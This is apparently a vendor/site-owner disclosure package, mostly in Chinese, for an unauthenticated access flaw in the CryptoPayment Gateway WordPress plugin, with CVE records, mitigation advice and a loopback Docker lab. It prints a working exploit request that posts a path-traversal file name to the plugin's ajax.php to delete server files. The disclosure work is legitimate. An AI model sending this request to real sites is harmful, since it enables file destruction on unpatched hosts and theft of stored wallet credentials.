abraxaslabs.tech · github.com/abraxas · @abraxas_null · CVE-2026-81648
WordPress — CryptoPayment Gateway 1.2.2 — Granwill
CryptoPayment Gateway WordPress 插件从 1.2.1 到 1.2.2 版本未对其某个 AJAX 端点应用授权检查，允许未认证用户调用管理操作，包括删除服务器上的任意文件、覆盖支付网关配置以及以明文形式恢复存储的钱包凭据。
| CVE | CVE-2026-81648 · CVE.org |
| CWE | CWE-862 |
| CVSS | 严重：10.0 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| 产品 | WordPress — CryptoPayment Gateway |
| 受影响版本 | 1.2.1–1.2.2 |
| 已修补 | 无公开补丁（WPScan：无已知修复） |
| 认证 | 无（见源码映射） |
| 许可证 | GNU Affero GPL v3.0 |
| 实验环境 | 仅限 127.0.0.1 · 供应商/客户披露包，非扫描器 |
cryptd/ajax.php 上的 delete-file 是汇聚点。HTTP 请求的是该 PHP 文件，而非 admin-ajax.php。
POST/wp-content/plugins/cryptopayment-gateway/vendor/cryptd/ajax.phpGET /wp-content/poc81648/index.php expect POCWitness81648POST ajax.php data={"function":"delete-file","file_name":"../../../../../poc81648/index.php","folder":""}crpay_file_delete unlinks wp-content/poc81648/index.phpGET witness URL no POCWitness81648POCWitness81648 在 POST 之前存在，之后消失。仅返回 JSON 成功但文件未删除不算成功。
首先执行此操作： 目前没有公开补丁。在供应商发布版本之前，请禁用 CryptoPayment Gateway 或阻止 vendor/cryptd/ajax.php。
升级后验证
CVE-2026-81648-Abraxas-Labs.py：映射的见证不得出现。如果无法立即更新
仅针对 http://127.0.0.1:8088（或你绑定的回环地址）。请勿将此脚本指向互联网。
python3 CVE-2026-81648-Abraxas-Labs.py
成功即响应体中出现上述见证。通用的 200 HTML 不算成功。
用于复现的回环栈。除非此文件夹中的 Dockerfile 从源码构建，否则使用官方镜像。
cd lab
docker compose up --force-recreate
如果 YAML 挂载了本地目录（来自版本表的插件 zip / 源码标签），请将存在漏洞的产品目录树绑定到 Compose 旁边。除 127.0.0.1 外不要发布任何内容。
# CVE-2026-81648 (structured records)
- input: `https://nvd.nist.gov/vuln/detail/CVE-2026-81648`
- CWE: CWE-862
- published: 2026-09-13T21:17:01.930
## NVD description
The CryptoPayment Gateway WordPress plugin from 1.2.1 to 1.2.2 does not apply an authorization check on one of its AJAX endpoints, allowing unauthenticated users to invoke administrative operations, including deleting arbitrary files on the server, overwriting the payment gateway configuration and recovering stored wallet credentials in cleartext.
## MITRE description
The CryptoPayment Gateway WordPress plugin from 1.2.1 to 1.2.2 does not apply an authorization check on one of its AJAX endpoints, allowing unauthenticated users to invoke administrative operations, including deleting arbitrary files on the server, overwriting the payment gateway configuration and recovering stored wallet credentials in cleartext.
## Affected
- Unknown CryptoPayment Gateway 1.2.1 affected
## References (JSON sources only)
- https://wpscan.com/vulnerability/9b1490a0-1381-4d22-8086-f75aade4e898/
- https://github.com/advisories/GHSA-9r3q-6qw8-8pm7
- https://nvd.nist.gov/vuln/detail/CVE-2026-81648
- https://wpscan.com/vulnerability/9b1490a0-1381-4d22-8086-f75aade4e898
## GitHub advisory
The CryptoPayment Gateway WordPress plugin from 1.2.1 to 1.2.2 does not apply an authorization...
The CryptoPayment Gateway WordPress plugin from 1.2.1 to 1.2.2 does not apply an authorization check on one of its AJAX endpoints, allowing unauthenticated users to invoke administrative operations, including deleting arbitrary files on the server, overwriting the payment gateway configuration and recovering stored wallet credentials in cleartext.
本披露包依据 GNU Affero General Public License v3.0 许可。见 LICENSE。
本包面向供应商、站点所有者及授权实验室。该脚本仅与 127.0.0.1 通信。Abraxas Labs 未授权将其用于你并不拥有的系统。不提供任何担保。